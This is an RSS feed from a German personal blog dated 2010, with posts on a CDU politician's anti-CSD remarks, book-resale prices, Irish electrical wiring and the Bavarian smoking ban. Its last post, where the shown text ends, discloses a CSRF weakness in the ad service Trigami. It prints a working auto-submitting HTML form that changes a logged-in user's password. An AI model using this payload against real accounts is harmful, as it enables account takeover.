<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0"
	xmlns:content="http://purl.org/rss/1.0/modules/content/"
	xmlns:wfw="http://wellformedweb.org/CommentAPI/"
	xmlns:dc="http://purl.org/dc/elements/1.1/"
	xmlns:atom="http://www.w3.org/2005/Atom"
	xmlns:sy="http://purl.org/rss/1.0/modules/syndication/"
	xmlns:slash="http://purl.org/rss/1.0/modules/slash/"
	>

<channel>
	<title>WeizenSpr.eu &#187; Spreu</title>
	<atom:link href="http://weizenspr.eu/kategorie/spreu/feed/" rel="self" type="application/rss+xml" />
	<link>http://weizenspr.eu</link>
	<description>trennt Spreu vom Weizen</description>
	<lastBuildDate>Thu, 29 Jul 2010 01:40:03 +0000</lastBuildDate>
	<generator>http://wordpress.org/?v=2.9.2</generator>
	<language>en</language>
	<sy:updatePeriod>hourly</sy:updatePeriod>
	<sy:updateFrequency>1</sy:updateFrequency>
			<item>
		<title>[Update] Oh Wunder! Ein uninformiertes CDU-Mitglied!</title>
		<link>http://weizenspr.eu/2010/oh-wunder-ein-uninformiertes-cdu-mitglied/</link>
		<comments>http://weizenspr.eu/2010/oh-wunder-ein-uninformiertes-cdu-mitglied/#comments</comments>
		<pubDate>Fri, 23 Jul 2010 21:45:18 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Just Spottet]]></category>
		<category><![CDATA[Politik]]></category>
		<category><![CDATA[Spreu]]></category>
		<category><![CDATA[Update]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5692</guid>
		<description><![CDATA[Gerade habe ich auf Queer.de einen Artikel über Kai Hähner &#8211; ein sächsischer CDU-Ortverbandsvorsitzender &#8211; gelesen. In diesem wird seine Aussage kommentiert, dass der CSD Jugendliche zur Homosexualität verleiten würde. Da bleibt mir einfach nur die Spucke weg!
Dieser verklemmte &#8220;Mensch&#8221; hat anscheinend den Schuss nicht gehört! Wer schlabbert sich denn in aller Regelmäßigkeit in irgendwelchen [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Gerade habe ich <a href="http://www.queer.de/detail.php?article_id=12491" target="_blank" class="liexternal">auf Queer.de</a> einen Artikel über <em>Kai Hähner</em> &#8211; ein sächsischer CDU-Ortverbandsvorsitzender &#8211; gelesen. In diesem wird seine Aussage kommentiert, dass der CSD Jugendliche zur Homosexualität verleiten würde. Da bleibt mir einfach nur die Spucke weg!</p>
<p>Dieser verklemmte <strong>&#8220;Mensch&#8221;</strong> hat anscheinend den Schuss nicht gehört! Wer schlabbert sich denn in aller Regelmäßigkeit in irgendwelchen TV-Programmen ab? Zwei Männer? Zwei Frauen? Nein! Es ist in 99% der Fälle ein heterosexuelles Paar, dass sich nach langen Irrungen und Wirrungen endlich doch findet. Werden Jugendliche davon zur Heterosexualität verleitet? Nicht mal das &#8211; sonst gäbe es in unserer medienverseuchten, westlichen Welt schon längst keine Homosexualität mehr.<br />
Die Frage danach, wie man überhaupt homosexuell wird, hatte ich schon vor <a href="http://weizenspr.eu/2009/einblick-in-die-homosexualitat/" target="_blank" class="liinternal">über einem Jahr</a> einmal ausführlich erklärt. Aber es ist wahrscheinlich eine gute Idee, es nochmal niederzuschreiben, damit auch die Leute es irgendwann begreifen, deren Horizont nicht weiter reicht, als sie spucken können.</p>
<p>Man kann sich seine Sexualität etwa so aussuchen, wie man seine natürliche Haarfarbe aussuchen kann. Der Vergleich ist meiner Meinung nach ziemlich passend. Man kann sich die Haare zwar färben, man kann eine Glatze schneiden, aber schlussendlich kommt die echte Haarfarbe wieder durch. Bei der Sexualität ist es das gleiche: Es gibt Leute, die tatsächlich denken, dass man Homosexualität <em>&#8220;heilen&#8221;</em> kann. Das Einzige, was den Leuten dabei eingetrichtert wird, ist, dass sie ihre Haare färben sollen &#8211; meistens, damit sie später eine Chance haben, in den Himmel zu kommen.<br />
Es gibt auch Fälle, in denen Familienväter irgendwann <em>&#8220;plötzlich schwul werden&#8221;</em>. Schonmal auf die Idee gekommen, dass diese Leute sich einfach nur Jahrzehnte lang verstellt haben, um ein angepasstes Leben zu führen &#8211; sich also permanent die Haare gefärbt haben?</p>
<p>Dieser <strong>&#8220;Mensch&#8221;</strong> da von der CDU macht nun die Äußerung, dass der CSD dafür sorgt, dass sich die originale Haarfarbe der Jugendlichen ändert. So von wegen: <em>&#8220;Klaus geht mit schwarzen Haaren zum CSD und *blub*, als er nach Hause geht, sind sie für immer rosarot.&#8221;</em> Ganz ehrlich: Wenn ein Mann sexuelle Erfahrungen mit einem anderen Mann macht, dann gefallen sie ihm nicht und damit ist gut. Er wird mit seinen Weibchen glücklich werden und die Welt heile bleiben. Wenn ihm die Erfahrungen nun aber gefallen&#8230; wo ist dann das Problem? Wird man etwa Vegetarier, nur weil einem auch Äpfel schmecken?<br />
Das einzige, was der CSD schaffen kann, ist, dass Jugendliche toleranter im Umgang mit der Homosexualität werden. Und ganz ehrlich: Wenn die Heranwachsenden aufgrund dieser Toleranz eine gleichgeschlechtliche Erfahrung machen wollen, dann ist das ein Schritt in die richtige, sexuell aufgeklärte Richtung! Die Findungsphase ist nicht nur da, um mit dem eigenen Geschlecht umgehen zu lernen, sondern auch herauszufinden, was einem selber gefällt. Wo ist nun das Problem dabei, wenn Pubertierende keine Hemmschwelle mehr davor haben, auszuprobieren, ob ihnen das eigene Geschlecht ebenfalls zusagt?</p>
<p>Das einzige, wozu der CSD also verleitet, ist, die Sexualität als eine natürliche Eigenschaft anzuerkennen, wie es viele gibt &#8211; Größe, Augenfarbe, Haarfarbe, Hautfarbe &#8211; und er verleitet sie dazu, die Heterosexualität nicht als einzige mögliche Sexualität zu begreifen. Alles darüber hinaus liegt nicht in der Hand des CSD.<br />
Ich persönlich hätte mich gefreut, früher ein breiteres sexuelles Bild gelehrt zu bekommen. Ich musste sämtliche Erfahrungen selber machen, musste selber herausfinden, wo ich Informationen herbekommen und wo ich Leute mit der gleichen Sexualität finde. Der CSD &#8211; und die Stadtfeste rundherum &#8211; sind für die junge Generation eine gute Möglichkeit, alles aus einer Hand zu erhalten: Besser geht es nicht.</p>
<p>Bevor also gottesfürchtige, bornierte Leute sich zu etwas zu Wort melden, wovon sie offensichtlich nicht den blassesten Schimmer haben, sollten sie vielleicht erstmal anfangen, sich zu informieren und &#8211; soweit ihr nicht-existierender Gott will &#8211; ihren Horizont auf eine Größe auszudehnen, die sie nicht mehr mit ihrer Spucke abdecken können.<br/><br />
<strong>Update:</strong><br />
Nun hat sich auch die TAZ <a href="http://taz.de/1/politik/deutschland/artikel/1/hass-aus-der-mitte-der-partei/" target="_blank" class="liexternal">dem Thema angenommen</a>. Es bleibt zu hoffen, dass das Thema jetzt auch in die Öffentlichkeit getragen wird und dieser Kai Hähner die entsprechenden Konsequenzen tragen muss.<br/><br />
<strong>Regenbogen-bunte Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/oh-wunder-ein-uninformiertes-cdu-mitglied/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>ReBuy?! Lieber nicht!</title>
		<link>http://weizenspr.eu/2010/rebuy-lieber-nicht/</link>
		<comments>http://weizenspr.eu/2010/rebuy-lieber-nicht/#comments</comments>
		<pubDate>Mon, 19 Jul 2010 16:02:14 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Just Spottet]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5599</guid>
		<description><![CDATA[Gerade lief im TV mal wieder die Werbung von ReBuy.tv &#8211; einem Käufer von Büchern. Geworben wird damit, dass die Bücher zum Festpreis angekauft werden. Natürlich wollte ich mal sehen, ob das ganze eine Alternative zu anderen Verkaufswegen sein könnte.
Ich habe vor allem Informatikbücher bei mir zu Hause liegen &#8211; viele davon teure, englische Fachbücher. [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Gerade lief im TV mal wieder die Werbung von <a href="http://rebuy.tv" rel="nofollow" target="_blank" class="liexternal">ReBuy.tv</a> &#8211; einem Käufer von Büchern. Geworben wird damit, dass die Bücher zum <strong>Festpreis</strong> angekauft werden. Natürlich wollte ich mal sehen, ob das ganze eine Alternative zu anderen Verkaufswegen sein könnte.</p>
<p>Ich habe vor allem Informatikbücher bei mir zu Hause liegen &#8211; viele davon teure, englische Fachbücher. Also wollte ich mal sehen, was solche Fachbücher bei diesem Einkäufer bringen würden. Ich habe beispielhaft das Buch <a href="http://www.amazon.com/exec/obidos/ASIN/0131407333/helpnetsecuri-20" target="_blank" class="liexternal"><em>&#8220;Intrusion Detection with Snort: Advanced IDS Techniques Using Snort, Apache, MySQL, PHP and Acid&#8221;</em></a> genommen und miteinander verglichen. Der Neupreis dieses Buches liegt bei etwa 50€ &#8211; ein durchschnittlicher Preis für die meisten Bücher dieser Kategorie.</p>
<div id="attachment_5606" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/abebooks_book.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/abebooks_book-300x49.png" alt="" title="abebooks_book" width="300" height="49" class="size-medium wp-image-5606" /></a><p class="wp-caption-text">ungefährer Neupreis des Buches</p></div>
<p>Jetzt kam natürlich die entscheidende Frage: Was würde ReBuy wohl für dieses Buch hinlegen? Die Antwort ist ehrlich gesagt einfach nur lächerlich. Würde ich dieses fast 50€ teure Fachbuch an diesen Ankäufer abgeben, würde mir dieser sage und schreibe <strong>94 CENT</strong> dafür geben! Kein Scherz!</p>
<div id="attachment_5608" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/rebuy_book.png" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/rebuy_book-300x45.png" alt="" title="rebuy_book" width="300" height="45" class="size-medium wp-image-5608" /></a><p class="wp-caption-text">Einkaufspreis bei ReBuy</p></div>
<p>Ob ich den Versand zu ReBuy selber tragen müsste, habe ich garnicht erst geguckt. Verarschen und ausnehmen lassen kann ich mich auch woanders. In der Werbung wird gezeigt, wie das Modell für ein einzelnes Buch ganze 5€ bekommen hat. Was für ein Buch war das bitte? Eine Kopie der Bibel aus dem Jahr 1325 oder was? Von mir wird ReBuy jedenfalls kein einziges Buch zugeschickt bekommen!<br/><br />
<strong>Sich-verarscht-fühlende Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/rebuy-lieber-nicht/feed/</wfw:commentRss>
		<slash:comments>5</slash:comments>
		</item>
		<item>
		<title>Electricity!</title>
		<link>http://weizenspr.eu/2010/electricity/</link>
		<comments>http://weizenspr.eu/2010/electricity/#comments</comments>
		<pubDate>Fri, 09 Jul 2010 18:37:10 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Fotografie]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5583</guid>
		<description><![CDATA[Heute wollte ich euch mal den ersten kurzen Einblick in meinen Irlandurlaub gewähren. Eine Sache ist mir dort nämlich besonders negativ aufgefallen &#8211; die Stromversorgung. Nicht, dass der Strom ausgefallen wäre, aber man hat doch den ein oder anderen abgebrannten Strommast gesehen &#8211; der nach dem Löschen trotzdem weiterverwendet worden ist. Um das ganze mal [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Heute wollte ich euch mal den ersten kurzen Einblick in meinen Irlandurlaub gewähren. Eine Sache ist mir dort nämlich besonders negativ aufgefallen &#8211; die Stromversorgung. Nicht, dass der Strom ausgefallen wäre, aber man hat doch den ein oder anderen abgebrannten Strommast gesehen &#8211; der nach dem Löschen trotzdem weiterverwendet worden ist. Um das ganze mal zu symbolisieren, habe ich ein Foto einer typischen &#8220;Hausleitung&#8221; in Cork gemacht. Diese finden im Stadtzentrum genauso, wie im äußeren Stadtrand. Ich würde gerne mal wissen, wie das deutsche Bauamt bei solchen Konstruktionen reagieren würde! <img src='http://weizenspr.eu/weizenspreu_wordpress29_live/wp-includes/images/smilies/icon_biggrin.gif' alt=':D' class='wp-smiley' /> </p>
<div id="attachment_5584" class="wp-caption aligncenter" style="width: 310px"><a href="http://weizenspr.eu/uploads/electricity.jpg" target="_blank" class="liimagelink"><img src="http://weizenspr.eu/uploads/electricity-300x204.jpg" alt="" title="electricity" width="300" height="204" class="size-medium wp-image-5584" /></a><p class="wp-caption-text">Electricity</p></div>
<p>Die Stromleitungen werden über der Eingangstür blockweise von Haus zu Haus &#8220;weitergereicht&#8221;. An einigen Häusern wurden die Kabel bei Fasenarbeiten einfach zusammen mit der Wand überpinselt. Einfach nur grotesk!<br/><br />
<strong>Elektrische Grüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/electricity/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
		<item>
		<title>Ein Bundesland, sein Rauchverbot und die Reaktionen&#8230;</title>
		<link>http://weizenspr.eu/2010/ein-bundesland-sein-rauchverbot-und-die-reaktionen/</link>
		<comments>http://weizenspr.eu/2010/ein-bundesland-sein-rauchverbot-und-die-reaktionen/#comments</comments>
		<pubDate>Wed, 07 Jul 2010 19:30:26 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Politik]]></category>
		<category><![CDATA[Spreu]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5575</guid>
		<description><![CDATA[Heute muss ich mich mal wieder über die Politik in diesem Land aufregen &#8211; allerdings nicht über die herrschende Zunft, sondern über die Wählerschicht. Wie wahrscheinlich alle bereits mitbekommen haben, gab es letztes Wochenende in Bayern eine Volksabstimmung, in der mit gut 60% der Stimmen der bundesweit strengste Nichtraucherschutz beschlossen wurde. Soweit so gut!
Nun bin [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Heute muss ich mich mal wieder über die Politik in diesem Land aufregen &#8211; allerdings nicht über die herrschende Zunft, sondern über die Wählerschicht. Wie wahrscheinlich alle bereits mitbekommen haben, gab es letztes Wochenende in Bayern eine Volksabstimmung, in der mit gut 60% der Stimmen der bundesweit strengste Nichtraucherschutz beschlossen wurde. Soweit so gut!</p>
<p>Nun bin ich gestern auf <a href="http://www.welt.de/politik/deutschland/article8332196/Wegen-Rauchverbots-soll-nun-das-Bier-teurer-werden.html" target="_blank" class="liexternal">diesen Onlineartikel der Welt</a> gestoßen. Weniger interessant ist der eigentlich Artikel &#8211; in diesem geht es darum, dass die Brauereien nun die Bierpreise auf der Wiesn erhöhen &#8220;müssen&#8221;, um die höheren Ausgaben für den Nichtraucherschutz auszugleichen. Dass diese Begründung absoluter Blödsinn ist, sei hier nur erwähnt.</p>
<p>Viel interessanter finde ich die Kommentare, die zu diesem Artikel abgegeben wurden &#8211; da gruselt es mich wirklich, wenn ich bedenke, dass die meisten das Geschriebene wohl ernst nehmen. Da wird z.B. über die <em>&#8220;Gesundheitsfanatiker&#8221;</em> gemeckert, <em>&#8220;Ökofreaks&#8221;</em>, die mit ihrer abscheulichen Abstimmung dafür gesorgt haben, dass ehrbare Raucher aus ihren Bierzelten vertrieben werden. Überhaupt sei diese Volksabstimmung garnicht bindend, da ja gerade einmal 40% der Wahlberechtigten teilgenommen hätten. Die 60%, die für das Rauchverbot gestimmt hätten, würden also gerade einmal ca. 23% aller Wähler ausmachen! </p>
<p>Ganz ehrlich: Soll das ein schlechter Scherz sein?! Jeder Bayer &#8211; ja, auch die Raucher &#8211; hatten die Chance, an dieser Volksabstimmung teilzunehmen. Da sie es nicht für nötig gehalten haben, für ihr Raucherrecht abzustimmen, müssen sie nun halt mit den Konsequenzen leben! Das spiegelt in meinen Augen grandios das Demokratieverständnis der meisten Deutsch wider. &#8220;Es werden schon genug Leute mit meiner Meinung wählen gehen&#8221;. Diese Einstellung <strong>kann</strong> nur nach hinten losgehen! Entweder haben die, die wählen gehen, eine andere Meinung &#8211; oder aber die mit der gleichen Meinung gehen ebenfalls nicht wählen, weil es schon jemand anderes übernehmen wird.</p>
<p>Da muss man sich dann auch nicht wundern, wenn man sich mit dem Wahlergebnis auf die Fresse packt und alles Meckern und Besserwissen nichts mehr nützt. Aber so reiten sich die Wähler von Wahlperiode zu Wahlperiode in die eigene Scheiße und werden sich irgendwann aus eigener Kraft garnicht mehr befreien können&#8230;<br/><br />
<strong>Nichtrauchergrüße, Kenny</strong></p>
<!-- RSPEAK_STOP -->]]></content:encoded>
			<wfw:commentRss>http://weizenspr.eu/2010/ein-bundesland-sein-rauchverbot-und-die-reaktionen/feed/</wfw:commentRss>
		<slash:comments>2</slash:comments>
		</item>
		<item>
		<title>[Update] Trigami kann angegriffen werden</title>
		<link>http://weizenspr.eu/2010/trigami-kann-angegriffen-werden/</link>
		<comments>http://weizenspr.eu/2010/trigami-kann-angegriffen-werden/#comments</comments>
		<pubDate>Wed, 16 Jun 2010 15:18:53 +0000</pubDate>
		<dc:creator>Mea Culpa</dc:creator>
				<category><![CDATA[Allgemein]]></category>
		<category><![CDATA[Alltag]]></category>
		<category><![CDATA[Computer]]></category>
		<category><![CDATA[Entwicklung]]></category>
		<category><![CDATA[Just Spottet]]></category>
		<category><![CDATA[Spreu]]></category>
		<category><![CDATA[Update]]></category>

		<guid isPermaLink="false">http://weizenspr.eu/?p=5512</guid>
		<description><![CDATA[Ja, ich weiß, es ist gemein &#8211; da will man mal ein bisschen Geld mit Werbung verdienen und dann muss man auch noch aufpassen, auf welchen Link man klickt! Mir geht es in diesem Fall um den Werbevermittlungsdienst Trigami. Diese haben anscheinend noch nie etwas von Cross-Site Request Forgery gehört. Anders kann ich es mir [...]]]></description>
			<content:encoded><![CDATA[<!-- RSPEAK_START --><p>Ja, ich weiß, es ist gemein &#8211; da will man mal ein bisschen Geld mit Werbung verdienen und dann muss man auch noch aufpassen, auf welchen Link man klickt! Mir geht es in diesem Fall um den Werbevermittlungsdienst <a href="http://trigami.com" target="_blank" class="liexternal">Trigami</a>. Diese haben anscheinend noch nie etwas von <a href="http://de.wikipedia.org/wiki/Cross-Site_Request_Forgery" target="_blank" rel="nofollow" class="liwikipedia">Cross-Site Request Forgery</a> gehört. Anders kann ich es mir nicht erklären, dass z.B. die Passwortänderung so offen und ungeschützt zugänglich ist. Trigami ist dabei besonders gefährlich! Es gibt keinen automatischen Logout nach einer bestimmten Zeit, sondern man bleibt eingeloggt, solange man sich nicht explizit ausloggt.</p>
<p>Wenn man sich nun z.B. den Quelltext für das Ändern des Loginpassworts anguckt, sieht man dort folgenden Quelltext:</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'POST'</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'/'</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'hidden'</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'DO'</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'changePassword'</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/table.html"><span style="color: #000000; font-weight: bold;">table</span></a> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'100%'</span>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/th.html"><span style="color: #000000; font-weight: bold;">th</span></a> <span style="color: #000066;">colspan</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;2&quot;</span>&gt;</span>Passwort ändern<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/th.html"><span style="color: #000000; font-weight: bold;">th</span></a>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a> <span style="color: #000066;">width</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'30%'</span>&gt;</span>Neues Passwort<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'password'</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'newPassword'</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">30</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'alt'</span>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;</span>Neues Passwort bestätigen<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'password'</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'newPassword2'</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #cc66cc;">30</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a>&gt;</span><br />
&nbsp; &nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'trlastrow'</span>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">class</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'submit'</span> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'submit'</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">'Neues Passwort speichern'</span>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/td.html"><span style="color: #000000; font-weight: bold;">td</span></a>&gt;&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/tr.html"><span style="color: #000000; font-weight: bold;">tr</span></a>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/table.html"><span style="color: #000000; font-weight: bold;">table</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a>&gt;</span></div></td></tr></tbody></table></div>
<p>Was sehen wir hier? Es gibt keine eindeutige Transaction-ID, mit der der Vorgang vor Angriffen geschützt wird und vor allem wird nicht das aktuelle Passwort abgefragt! Dadurch reicht solch einfacher Quelltext, um das Passwort eines eingeloggten Trigami-Nutzers zu ändern:</p>
<div class="codecolorer-container html4strict default" style="overflow:auto;white-space:nowrap;border:1px solid #9F9F9F;width:435px;"><table cellspacing="0" cellpadding="0"><tbody><tr><td style="padding:5px;text-align:center;color:#888888;background-color:#EEEEEE;border-right: 1px solid #9F9F9F;font: normal 12px/1.4em Monaco, Lucida Console, monospace;"><div>1<br />2<br />3<br />4<br />5<br />6<br />7<br />8<br />9<br /></div></td><td><div class="html4strict codecolorer" style="padding:5px;font:normal 12px/1.4em Monaco, Lucida Console, monospace;white-space:nowrap"><span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a> <span style="color: #000066;">method</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;POST&quot;</span> <span style="color: #000066;">id</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;trigamipwd&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;trigamipwd&quot;</span> <span style="color: #000066;">action</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;http://www.trigami.com/?DO=showChangePassword&quot;</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;DO&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;changePassword&quot;</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;newPassword&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;30&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;neuesPasswort&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;hidden&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;newPassword2&quot;</span> <span style="color: #000066;">size</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;30&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;neuesPasswort&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span><br />
&nbsp; <span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/input.html"><span style="color: #000000; font-weight: bold;">input</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submit&quot;</span> <span style="color: #000066;">name</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;submitButton&quot;</span> <span style="color: #000066;">value</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;Neues Passwort speichern&quot;</span> <span style="color: #66cc66;">/</span>&gt;</span><br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/form.html"><span style="color: #000000; font-weight: bold;">form</span></a>&gt;</span><br />
<span style="color: #009900;">&lt;<a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a> <span style="color: #000066;">type</span><span style="color: #66cc66;">=</span><span style="color: #ff0000;">&quot;text/javascript&quot;</span>&gt;</span><br />
&nbsp; document.trigamipwd.submitButton.click();<br />
<span style="color: #009900;">&lt;<span style="color: #66cc66;">/</span><a href="http://december.com/html/4/element/script.html"><span style="color: #000000; font-weight: bold;">script</span></a>&gt;</span></div></td></tr></tbody></table></div>
